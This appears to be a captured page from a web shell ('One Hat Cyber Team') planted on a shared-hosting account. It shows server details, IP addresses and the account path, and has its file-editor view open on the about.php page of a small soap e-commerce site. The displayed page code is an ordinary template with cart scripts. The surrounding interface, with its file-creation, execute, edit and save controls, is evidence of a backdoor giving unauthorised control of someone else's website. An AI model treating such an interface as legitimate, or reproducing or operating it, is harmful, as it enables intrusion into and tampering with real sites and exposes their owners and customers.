One Hat Cyber Team
Your IP :
216.73.216.186
Server IP :
147.79.69.192
Server :
Linux in-mum-web1837.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
Server Software :
LiteSpeed
PHP Version :
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
u322583024
/
domains
/
awaha.in
/
public_html
/
Edit File:
about.php
<?php session_name('vaishnavi_awaha'); session_start(); ?> <!DOCTYPE html> <html lang="zxx"> <head> <!--====== Required meta tags ======--> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="description" content="eCommerce,shop,fashion"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!--====== Title ======--> <title>Awaha - Soap Ecommerce</title> <!--====== Favicon Icon ======--> <link rel="shortcut icon" href="assets/images/logo/awaha.png" type="image/png"> <!--====== Google Fonts ======--> <link href="https://fonts.googleapis.com/css2?family=Aoboshi+One&family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&display=swap" rel="stylesheet"> <!--====== Flaticon css ======--> <link rel="stylesheet" href="assets/fonts/flaticon/flaticon_pesco.css"> <!--====== FontAwesome css ======--> <link rel="stylesheet" href="assets/fonts/fontawesome/css/all.min.css"> <!--====== Bootstrap css ======--> <link rel="stylesheet" href="assets/vendor/bootstrap/css/bootstrap.min.css"> <!--====== Slick-popup css ======--> <link rel="stylesheet" href="assets/vendor/slick/slick.css"> <!--====== Nice Select css ======--> <link rel="stylesheet" href="assets/vendor/nice-select/css/nice-select.css"> <!--====== Magnific-popup css ======--> <link rel="stylesheet" href="assets/vendor/magnific-popup/dist/magnific-popup.css"> <!--====== Jquery UI css ======--> <link rel="stylesheet" href="assets/vendor/jquery-ui/jquery-ui.min.css"> <!--====== Animate css ======--> <link rel="stylesheet" href="assets/vendor/aos/aos.css"> <!--====== Default css ======--> <link rel="stylesheet" href="assets/css/default.css"> <!--====== Style css ======--> <link rel="stylesheet" href="assets/css/style.css"> <style> </style> </head> <body> <!--====== Start Overlay ======--> <div class="offcanvas__overlay"></div> <!--====== Start Sidemenu-wrapper-cart Area ======--> <div class="sidemenu-wrapper-cart"> <div class="sidemenu-content"> <div class="widget widget-shopping-cart"> <h4>My cart</h4> <div class="sidemenu-cart-close"><i class="far fa-times"></i></div> <div class="widget-shopping-cart-content"> <ul class="pesco-mini-cart-list" id="cart-items-list"> <!-- Cart items will be dynamically loaded here --> </ul> <div class="cart-mini-total"> <div class="cart-total"> <span><strong>Subtotal:</strong></span> <span class="amount" id="cart-subtotal">0.00</span> </div> </div> <div class="cart-button-box"> <a href="checkout.php" class="theme-btn style-one">Proceed to checkout</a> </div> </div> </div> </div> </div><!--====== End Sidemenu-wrapper-cart Area ======--> <!--====== Start Header Section ======--> <?php include 'header.php' ?> <!--====== End Header Section ======--> <!--====== Main Bg ======--> <main class="main-bg"> <!--====== Start Page Banner Section ======--> <section class="page-banner"> <div class="page-banner-wrapper p-r z-1"> <svg class="lineanm" viewBox="0 0 1920 347" fill="none" xmlns="http://www.w3.org/2000/svg"> <path class="line" d="M-39 345.187C70 308.353 397.628 293.477 436 145.186C490 -63.5 572 -57.8156 688 255.186C757.071 441.559 989.5 -121.315 1389 98.6856C1708.6 274.686 1940.33 156.519 1964.5 98.6856" stroke="white" stroke-width="3" stroke-dasharray="2 2"/> </svg> <div class="page-image"><img src="assets/images/saban_2.png" alt="image"></div> <svg class="page-svg" xmlns="http://www.w3.org/2000/svg"> <path d="M21.1742 33.0065C14.029 35.2507 7.5486 39.0636 0 40.7339V86H1937V64.9942C1933.1 60.1623 1912.65 65.1777 1904.51 62.6581C1894.22 59.4678 1884.93 55.0079 1873.77 52.7742C1861.2 50.2585 1823.41 36.3854 1811.99 39.9252C1805.05 42.0727 1796.94 37.6189 1789.36 36.6007C1769.18 33.8879 1747.19 31.1848 1726.71 29.7718C1703.81 28.1919 1678.28 27.0012 1657.53 34.4442C1636.45 42.005 1606.07 60.856 1579.5 55.9191C1561.6 52.5906 1543.41 47.0959 1528.45 56.9075C1510.85 68.4592 1485.74 74.2518 1460.44 76.136C1432.32 78.2297 1408.53 70.6879 1384.73 62.2987C1339.52 46.361 1298.19 27.1677 1255.08 9.28534C1242.58 4.10111 1214.68 15.4762 1200.55 16.6533C1189.77 17.5509 1181.74 15.4508 1172.12 12.8795C1152.74 7.70033 1133.23 2.88525 1111.79 2.63621C1088.85 2.36971 1073.94 7.88289 1056.53 15.8446C1040.01 23.3996 1027.48 26.1777 1007.8 26.1777C993.757 26.1777 975.854 25.6887 962.844 28.9632C941.935 34.2258 932.059 38.7874 914.839 28.6037C901.654 20.8061 866.261 -2.56499 844.356 7.12886C831.264 12.9222 820.932 21.5146 807.663 27.5255C798.74 31.5679 779.299 42.0561 766.33 39.1166C758.156 37.2637 751.815 31.6349 745.591 28.2443C730.967 20.2774 715.218 13.2948 695.846 10.723C676.168 8.11038 658.554 23.1787 641.606 27.4357C617.564 33.4742 602.283 27.7951 579.244 27.7951C568.142 27.7951 548.414 30.4002 541.681 23.6618C535.297 17.2722 530.162 9.74921 523.263 3.71444C517.855 -1.01577 505.798 -0.852017 498.318 2.09709C479.032 9.7007 453.07 10.0516 431.025 9.64475C407.556 9.21163 368.679 1.61612 346.618 10.3636C319.648 21.0575 291.717 53.8338 254.67 45.2266C236.134 40.9201 225.134 37.5813 204.78 40.7339C186.008 43.6415 171.665 50.7785 156.051 57.3567C146.567 61.3523 152.335 52.6281 151.12 47.9222C149.535 41.7853 139.994 34.5585 132.991 30.4008C120.206 22.8098 90.2848 24.3246 74.2546 24.6502C55.5552 25.0301 37.9201 27.747 21.1742 33.0065Z" fill="#FFFAF3"/> </svg> <div class="shape shape-one"><span></span></div> <div class="shape shape-two"><span></span></div> <div class="shape shape-three"><span><img src="assets/images/shape/curved-arrow.png" alt=""></span></div> <div class="container"> <div class="row"> <div class="col-lg-6"> <div class="page-banner-content"> <h1>About Us</h1> <ul class="breadcrumb-link"> <li><a href="index.php">Home</a></li> <li><i class="far fa-long-arrow-right"></i></li> <li class="active">About Us</li> </ul> </div> </div> </div> </div> </div> </section><!--====== End Page Banner Section ======--> <!--====== Start About Us Section ======--> <section class="about-us-section pt-20"> <div class="container"> <div class="row"> <div class="col-xl-6"> <!--====== Section Image Box ======--> <div class="section-image-box style-one mb-50" data-aos="fade-up" data-aos-delay="30" data-aos-duration="1000"> <div class="image-one"> <img src="assets/images/soap/6.webp" height="550" alt="About Image"> <div class="img-shape"></div> </div> <div class="image-two"> <img src="assets/images/soap/1.webp" alt="About Image"> <span class="line"></span> </div> <!--<div class="experience-box">--> <!-- <div class="text">--> <!-- <div class="year">--> <!-- 25--> <!-- </div>--> <!-- <div class="duration">--> <!-- Year’s <br> Experience--> <!-- </div>--> <!-- </div>--> <!--</div>--> </div> </div> <div class="col-xl-6"> <!--====== Section Content Box ======--> <div class="section-content-box style-one" data-aos="fade-up" data-aos-delay="50" data-aos-duration="1200"> <div class="section-title mb-30"> <div class="sub-heading d-inline-flex align-items-center"> <i class="flaticon-sparkler"></i> <span class="sub-title">About us</span> </div> <h2>Awaha: Elevating Natural Skincare with Exquisite Soaps</h2> </div> <p>Welcome to awaha, where nature’s essence meets you in every bar of our soaps, suitable for all skin types. Our collection features five distinct variants:</p> <div class="row"> <div class="col-sm-6"> <ul class="list mb-25"> <li><i class="flaticon-star-3"></i> Rose : Soothing and hydrating.</li> <li><i class="flaticon-star-3"></i>Fresh Lemon: Invigorating and brightening.</li> <li><i class="flaticon-star-3"></i>Sandalwood: Pure and anti-inflammatory.</li> <li><i class="flaticon-star-3"></i>Jasmine : Nourishing and rejuvenating.</li> <li><i class="flaticon-star-3"></i>Avocado: Relaxing and stress-relievi</li> </ul> </div> </div> </div> </div> </div> </div> </section><!--====== End About Us Section ======--> <!--====== Start Features Section ======--> <section class="features-section pt-80"> <div class="container"> <div class="row"> <div class="col-lg-12"> <!--=== Features Wrapper ===--> <div class="features-wrapper" data-aos="fade-up" data-aos-delay="70" data-aos-duration="1400"> <!--=== Iconic Box Item ===--> <div class="iconic-box-item icon-left-box mb-25"> <div class="icon"> <i class="fas fa-shipping-fast"></i> </div> <div class="content"> <h5>Free Shipping</h5> <p>You get your items delivered without any extra cost.</p> </div> </div> <!--=== Divider ===--> <div class="divider mb-25"> <img src="assets/images/divider.png" alt="divider"> </div> <!--=== Iconic Box Item ===--> <div class="iconic-box-item icon-left-box mb-25"> <div class="icon"> <i class="fas fa-microphone"></i> </div> <div class="content"> <h5>Great Support 24/7</h5> <p>Our customer support team is available around the clock </p> </div> </div> <!--=== Divider ===--> <div class="divider mb-25"> <img src="assets/images/divider.png" alt="divider"> </div> <!--=== Iconic Box Item ===--> <div class="iconic-box-item icon-left-box mb-25"> <div class="icon"> <i class="far fa-handshake"></i> </div> <div class="content"> <h5>Return Available</h5> <p>Making it easy to return any items if you're not satisfied.</p> </div> </div> <!--=== Divider ===--> <div class="divider mb-25"> <img src="assets/images/divider.png" alt="divider"> </div> <!--=== Iconic Box Item ===--> <div class="iconic-box-item icon-left-box mb-25"> <div class="icon"> <i class="fas fa-sack-dollar"></i> </div> <div class="content"> <h5>Secure Payment</h5> <p>Shop with confidence knowing that our secure payment</p> </div> </div> </div> </div> </div> </div> </section><!--====== End Features Section ======--> <!--====== Start Team Section ======--> <section class="team-section pt-125 pb-60"> <div class="container"> <div class="row"> <div class="col-lg-12"> <!--=== Section Title ===--> <div class="section-title text-center mb-60" data-aos="fade-up" data-aos-delay="10" data-aos-duration="800"> <div class="sub-heading d-inline-flex align-items-center"> <i class="flaticon-sparkler"></i> <span class="sub-title">Our Team</span> <i class="flaticon-sparkler"></i> </div> <h2>Meet Management Team</h2> </div> </div> </div> </div> <div class="team-slider-one"> <div class="team-item style-one" data-aos="fade-up" data-aos-delay="15" data-aos-duration="600"> <div class="member-info"> <h5>Davis Liam </h5> <span class="position">Marketing Specialist</span> </div> <div class="member-img"> <img src="assets/images/user1.webp" height="270" alt="Team Image"> <div class="hover-content"> <ul class="social-link"> <li><a href="#"><i class="flaticon-facebook"></i></a></li> <li><a href="#"><i class="flaticon-linkedin"></i></a></li> <li><a href="#"><i class="flaticon-instagram"></i></a></li> <li><a href="#"><i class="flaticon-twitter"></i></a></li> </ul> </div> </div> </div> <div class="team-item style-one" data-aos="fade-up" data-aos-delay="20" data-aos-duration="800"> <div class="member-info"> <h5>Michael Davis</h5> <span class="position">Digital Marketing Specialist</span> </div> <div class="member-img"> <img src="assets/images/user.webp" height="270" alt="Team Image"> <div class="hover-content"> <ul class="social-link"> <li><a href="#"><i class="flaticon-facebook"></i></a></li> <li><a href="#"><i class="flaticon-linkedin"></i></a></li> <li><a href="#"><i class="flaticon-instagram"></i></a></li> <li><a href="#"><i class="flaticon-twitter"></i></a></li> </ul> </div> </div> </div> <div class="team-item style-one" data-aos="fade-up" data-aos-delay="25" data-aos-duration="1000"> <div class="member-info"> <h5>Sarah Jones</h5> <span class="position">Product Manager</span> </div> <div class="member-img"> <img src="assets/images/user1.webp" height="270" alt="Team Image"> <div class="hover-content"> <ul class="social-link"> <li><a href="#"><i class="flaticon-facebook"></i></a></li> <li><a href="#"><i class="flaticon-linkedin"></i></a></li> <li><a href="#"><i class="flaticon-instagram"></i></a></li> <li><a href="#"><i class="flaticon-twitter"></i></a></li> </ul> </div> </div> </div> <div class="team-item style-one" data-aos="fade-up" data-aos-delay="30" data-aos-duration="1200"> <div class="member-info"> <h5>Emily Garcia</h5> <span class="position">Digital Marketing Specialist</span> </div> <div class="member-img"> <img src="assets/images/user.webp" height="270" alt="Team Image"> <div class="hover-content"> <ul class="social-link"> <li><a href="#"><i class="flaticon-facebook"></i></a></li> <li><a href="#"><i class="flaticon-linkedin"></i></a></li> <li><a href="#"><i class="flaticon-instagram"></i></a></li> <li><a href="#"><i class="flaticon-twitter"></i></a></li> </ul> </div> </div> </div> <div class="team-item style-one" data-aos="fade-up" data-aos-delay="35" data-aos-duration="1400"> <div class="member-info"> <h5>Olivia Michael</h5> <span class="position">Service Representative</span> </div> <div class="member-img"> <img src="assets/images/user1.webp" height="270" alt="Team Image"> <div class="hover-content"> <ul class="social-link"> <li><a href="#"><i class="flaticon-facebook"></i></a></li> <li><a href="#"><i class="flaticon-linkedin"></i></a></li> <li><a href="#"><i class="flaticon-instagram"></i></a></li> <li><a href="#"><i class="flaticon-twitter"></i></a></li> </ul> </div> </div> </div> <div class="team-item style-one" data-aos="fade-up" data-aos-delay="40" data-aos-duration="1600"> <div class="member-info"> <h5>Davidthy Phillips</h5> <span class="position">Senior Developer</span> </div> <div class="member-img"> <img src="assets/images/user.webp" height="270" alt="Team Image"> <div class="hover-content"> <ul class="social-link"> <li><a href="#"><i class="flaticon-facebook"></i></a></li> <li><a href="#"><i class="flaticon-linkedin"></i></a></li> <li><a href="#"><i class="flaticon-instagram"></i></a></li> <li><a href="#"><i class="flaticon-twitter"></i></a></li> </ul> </div> </div> </div> <div class="team-item style-one" data-aos="fade-up" data-aos-delay="45" data-aos-duration="1700"> <div class="member-info"> <h5>Sarah Jones</h5> <span class="position">Product Manager</span> </div> <div class="member-img"> <img src="assets/images/user1.webp" height="270" alt="Team Image"> <div class="hover-content"> <ul class="social-link"> <li><a href="#"><i class="flaticon-facebook"></i></a></li> <li><a href="#"><i class="flaticon-linkedin"></i></a></li> <li><a href="#"><i class="flaticon-instagram"></i></a></li> <li><a href="#"><i class="flaticon-twitter"></i></a></li> </ul> </div> </div> </div> </div> <div class="container"> <div class="team-dots-arrows d-flex align-items-center justify-content-between"> <div class="team-slider-dots mt-25"></div> <div class="team-arrows style-one mt-25"></div> </div> </div> </section> <!--====== End Team Section ======--> <!--====== Start Testimonial Section ======--> <section class="testimonial-section"> <div class="testimonial-wrapper overflow-x-hidden pt-190 pb-90 white-bg"> <div class="shape svg-shape1"><img src="assets/images/testimonial/tl-svgTop.svg" alt="svg shape"></div> <div class="shape svg-shape2"><img src="assets/images/testimonial/tl-svgBottom.svg" alt="svg shape"></div> <div class="container"> <div class="row"> <div class="col-lg-4"> <!--=== Section Content Box ===--> <div class="section-content-box mb-40" data-aos="fade-right" data-aos-delay="30" data-aos-duration="800"> <div class="section-title mb-50"> <h2>What Our Clients Say About Us</h2> </div> <div class="testimonial-arrows style-one justif"></div> </div> </div> <div class="col-lg-8"> <!--=== Testimonial Slider ===--> <div class="testimonial-slider-one" data-aos="fade-left" data-aos-delay="50" data-aos-duration="1000"> <!--=== Testimonial Item ===--> <div class="testimonial-item style-one mb-40"> <div class="testimonial-content"> <p>This inflatable dragon costume seemed perfect for Halloween! But upon inflating, it became clear the wings were uneven, causing me to spin uncontrollably like a rogue pool float. </p> <div class="author-quote-item d-flex justify-content-between align-items-center"> <div class="author-item"> <div class="author-thumb"> <img src="assets/images/user1.webp" alt="author image"> </div> <div class="author-info"> <h5>Rhodes Jhon</h5> <ul class="ratings rating5"> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> </ul> </div> </div> <div class="quote-icon"> <i class="flaticon flaticon-right-quote"></i> </div> </div> </div> </div> <!--=== Testimonial Item ===--> <div class="testimonial-item style-one mb-40"> <div class="testimonial-content"> <p>This inflatable dragon costume seemed perfect for Halloween! But upon inflating, it became clear the wings were uneven, causing me to spin uncontrollably like a rogue pool float. </p> <div class="author-quote-item d-flex justify-content-between align-items-center"> <div class="author-item"> <div class="author-thumb"> <img src="assets/images/user1.webp" alt="author image"> </div> <div class="author-info"> <h5>Rhodes Jhon</h5> <ul class="ratings rating5"> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> </ul> </div> </div> <div class="quote-icon"> <i class="flaticon flaticon-right-quote"></i> </div> </div> </div> </div> <!--=== Testimonial Item ===--> <div class="testimonial-item style-one mb-40"> <div class="testimonial-content"> <p>This inflatable dragon costume seemed perfect for Halloween! But upon inflating, it became clear the wings were uneven, causing me to spin uncontrollably like a rogue pool float. </p> <div class="author-quote-item d-flex justify-content-between align-items-center"> <div class="author-item"> <div class="author-thumb"> <img src="assets/images/user1.webp" alt="author image"> </div> <div class="author-info"> <h5>Rhodes Jhon</h5> <ul class="ratings rating5"> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> </ul> </div> </div> <div class="quote-icon"> <i class="flaticon flaticon-right-quote"></i> </div> </div> </div> </div> <!--=== Testimonial Item ===--> <div class="testimonial-item style-one mb-40"> <div class="testimonial-content"> <p>This inflatable dragon costume seemed perfect for Halloween! But upon inflating, it became clear the wings were uneven, causing me to spin uncontrollably like a rogue pool float. </p> <div class="author-quote-item d-flex justify-content-between align-items-center"> <div class="author-item"> <div class="author-thumb"> <img src="assets/images/user1.webp" alt="author image"> </div> <div class="author-info"> <h5>Rhodes Jhon</h5> <ul class="ratings rating5"> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> <li><i class="fas fa-star"></i></li> </ul> </div> </div> <div class="quote-icon"> <i class="flaticon flaticon-right-quote"></i> </div> </div> </div> </div> </div> </div> </div> </div> </div> </section><!--====== End Working Section ======--> <!--====== Start Working Section ======--> <section class="work-processing-section pt-60 pb-80"> <div class="container"> <div class="row"> <div class="col-lg-12"> <!--=== Section Title ===--> <div class="section-title text-center mb-60" data-aos="fade-up" data-aos-delay="30" data-aos-duration="800"> <div class="sub-heading d-inline-flex align-items-center"> <i class="flaticon-sparkler"></i> <span class="sub-title">Work Processing</span> <i class="flaticon-sparkler"></i> </div> <h2>How it Work processing</h2> </div> </div> </div> <div class="row"> <div class="col-xl-3 col-sm-6"> <!--=== Iconic Box Item ===--> <div class="iconic-box-item style-two mb-40" data-aos="fade-up" data-aos-delay="50" data-aos-duration="1000"> <div class="sn-number">01</div> <div class="icon"> <i class="flaticon-searching"></i> </div> <div class="content"> <h6>Browsing & Choosing</h6> <p>This is where customers visit your online store, browse your products.</p> </div> </div> </div> <div class="col-xl-3 col-sm-6"> <!--=== Iconic Box Item ===--> <div class="iconic-box-item style-two mb-40" data-aos="fade-up" data-aos-delay="70" data-aos-duration="1200"> <div class="sn-number">02</div> <div class="icon"> <i class="flaticon-payment-method"></i> </div> <div class="content"> <h6>Checkout & Payment</h6> <p>Once they have picked their items, customers proceed to checkout.</p> </div> </div> </div> <div class="col-xl-3 col-sm-6"> <!--=== Iconic Box Item ===--> <div class="iconic-box-item style-two mb-40" data-aos="fade-up" data-aos-delay="90" data-aos-duration="1400"> <div class="sn-number">03</div> <div class="icon"> <i class="flaticon-currency"></i> </div> <div class="content"> <h6>Order Fulfillment</h6> <p>After the order is placed, it's sent to your fulfillment team.</p> </div> </div> </div> <div class="col-xl-3 col-sm-6"> <!--=== Iconic Box Item ===--> <div class="iconic-box-item style-two mb-40" data-aos="fade-up" data-aos-delay="110" data-aos-duration="1600"> <div class="sn-number">04</div> <div class="icon"> <i class="flaticon-delivery"></i> </div> <div class="content"> <h6>Delivery to Customer</h6> <p>The packed order is then sent off with a shipping carrier</p> </div> </div> </div> </div> </div> </section><!--====== End Working Section ======--> </main> <!--====== Start Footer Main ======--> <?php include 'footer.php' ?> <script> document.addEventListener('DOMContentLoaded', () => { const cartContainer = document.querySelector('#cart-items-list'); const cartSubtotal = document.querySelector('#cart-subtotal'); // Fetch cart items from server or localStorage fetch('fetch-cart-items.php') .then(response => response.json()) .then(data => { if (data.success) { let itemsHTML = ''; let subtotal = 0; data.cart_items.forEach(item => { const { product_id, product_name, product_discount_price, product_img, quantity } = item; // Create a cart item list entry itemsHTML += ` <li class="sidebar-cart-item" data-product-id="₹{product_id}"> <a href="#" class="remove-cart" data-product-id="${product_id}"> <i class="far fa-trash-alt"></i> </a> <a href="#"> <img src="awaha/${product_img}" alt="${product_name}"> ${product_name} </a> <span class="quantity">${quantity} × <span><span class="currency">₹</span>${product_discount_price}</span></span> </li> `; // Calculate the subtotal subtotal += product_discount_price * quantity; }); // Update cart UI with new cart items cartContainer.innerHTML = itemsHTML; cartSubtotal.innerHTML = `<span class="currency">₹</span>${subtotal.toFixed(2)}`; } else { cartContainer.innerHTML = '<li>No items in the cart</li>'; } }) .catch(error => { console.error('Error fetching cart items:', error); cartContainer.innerHTML = '<li>Error loading cart items</li>'; }); // Event delegation for removing items cartContainer.addEventListener('click', (event) => { if (event.target.closest('.remove-cart')) { event.preventDefault(); const cartItem = event.target.closest('.sidebar-cart-item'); const productId = cartItem.getAttribute('data-product-id'); // Call an endpoint to remove the item from the cart fetch('remove-cart-item.php', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ product_id: productId }), }) .then(response => response.json()) .then(data => { if (data.success) { cartItem.remove(); // Remove item from the UI updateSubtotal(); } else { console.error(data.message); } }) .catch(error => console.error('Error removing item:', error)); } }); // Function to update subtotal function updateSubtotal() { let total = 0; const cartItems = document.querySelectorAll('.sidebar-cart-item'); cartItems.forEach(item => { const quantity = parseInt(item.querySelector('.quantity').textContent.split(' × ')[0]); const price = parseFloat(item.querySelector('.quantity span span.currency').nextElementSibling.textContent); total += quantity * price; }); cartSubtotal.innerHTML = `<span class="currency">$</span>${total.toFixed(2)}`; } }); </script> <script> document.addEventListener('DOMContentLoaded', () => { const addToCartButtons = document.querySelectorAll('.add-to-cart-btn'); const cartCountElement = document.querySelector('#cart-count'); // Update cart count dynamically addToCartButtons.forEach(button => { button.addEventListener('click', (event) => { event.preventDefault(); const productId = button.getAttribute('data-product-id'); fetch('add-to-cart.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ product_id: productId }), }) .then(response => response.json()) .then(data => { if (data.success) { // Update cart count if successful cartCountElement.textContent = data.cart_count; // Display SweetAlert success message Swal.fire({ icon: 'success', title: 'Added to Cart', text: 'The product has been successfully added to your cart!', timer: 2000, showConfirmButton: false }).then(() => { // Reload the page after the alert is closed location.reload(); }); } else { // Display SweetAlert error message Swal.fire({ icon: 'error', title: 'Error', text: 'Failed to add the product to your cart. Please try again.', timer: 2000, showConfirmButton: false }); } }) .catch(error => { console.error('Error:', error); // Display SweetAlert error message for fetch failure Swal.fire({ icon: 'error', title: 'Error', text: 'An error occurred while processing your request. Please try again later.', timer: 2000, showConfirmButton: false }); }); }); }); }); document.addEventListener('DOMContentLoaded', () => { const cartContainer = document.querySelector('#cart-items-list'); const cartSubtotal = document.querySelector('#cart-subtotal'); if (!cartContainer || !cartSubtotal) { console.error('Cart container or subtotal not found.'); return; } // Fetch cart items from server fetch('fetch-cart-items.php') .then(response => response.json()) .then(data => { if (data.success) { let itemsHTML = ''; let subtotal = 0; data.cart_items.forEach(item => { const { product_id, product_name, product_discount_price, product_img, quantity } = item; // Create cart item list entry itemsHTML += ` <li class="sidebar-cart-item" data-product-id="${product_id}"> <a href="#" class="remove-cart" data-product-id="${product_id}"> <i class="far fa-trash-alt"></i> </a> <a href="#"> <img src="awaha/${product_img}" alt="${product_name}"> ${product_name} </a> <span class="quantity">${quantity} × ₹<span class="price">${product_discount_price}</span></span> </li> `; // Calculate the subtotal subtotal += product_discount_price * quantity; }); // Update cart UI with new cart items cartContainer.innerHTML = itemsHTML; cartSubtotal.innerHTML = `₹${subtotal.toFixed(2)}`; } else { cartContainer.innerHTML = '<li>No items in the cart</li>'; } }) .catch(error => { console.error('Error fetching cart items:', error); cartContainer.innerHTML = '<li>Error loading cart items</li>'; }); // Event delegation for removing items cartContainer.addEventListener('click', (event) => { const removeButton = event.target.closest('.remove-cart'); if (removeButton) { event.preventDefault(); console.log('Remove button clicked!'); const cartItem = removeButton.closest('.sidebar-cart-item'); if (!cartItem) { console.error('Cart item container not found.'); return; } const productId = cartItem.getAttribute('data-product-id'); if (!productId) { console.error('No product ID found.'); return; } console.log('Removing item with ID:', productId); // Call API to remove item fetch('remove-cart-item.php', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ product_id: productId }), }) .then(response => response.json()) .then(data => { if (data.success) { cartItem.remove(); // Remove item from UI updateSubtotal(); // Update subtotal } else { console.error('Error removing item:', data.message); } }) .catch(error => console.error('Error removing item:', error)); } }); // Function to update subtotal function updateSubtotal() { let subtotal = 0; const cartItems = document.querySelectorAll('.sidebar-cart-item'); cartItems.forEach(item => { const quantityElement = item.querySelector('.quantity'); const priceElement = item.querySelector('.price'); if (quantityElement && priceElement) { const quantity = parseInt(quantityElement.textContent.split(' × ')[0], 10); const price = parseFloat(priceElement.textContent) || 0; subtotal += quantity * price; } }); cartSubtotal.innerHTML = `₹${subtotal.toFixed(2)}`; } }); </script> <!--====== End Footer Main ======--> <!--====== Back To Top ======--> <!--====== Jquery js ======--> <script src="assets/vendor/jquery-3.7.1.min.js"></script> <!--====== Bootstrap js ======--> <script src="assets/vendor/popper/popper.min.js"></script> <!--====== Bootstrap js ======--> <script src="assets/vendor/bootstrap/js/bootstrap.min.js"></script> <!--====== Slick js ======--> <script src="assets/vendor/slick/slick.min.js"></script> <!--====== Magnific js ======--> <script src="assets/vendor/magnific-popup/dist/jquery.magnific-popup.min.js"></script> <!--====== Nice-select js ======--> <script src="assets/vendor/nice-select/js/jquery.nice-select.min.js"></script> <!--====== Jquery Ui js ======--> <script src="assets/vendor/jquery-ui/jquery-ui.min.js"></script> <!--====== SimplyCountdown js ======--> <script src="assets/vendor/simplyCountdown.min.js"></script> <!--====== Aos js ======--> <script src="assets/vendor/aos/aos.js"></script> <!--====== Main js ======--> <script src="assets/js/theme.js"></script> </body> </html>
Simpan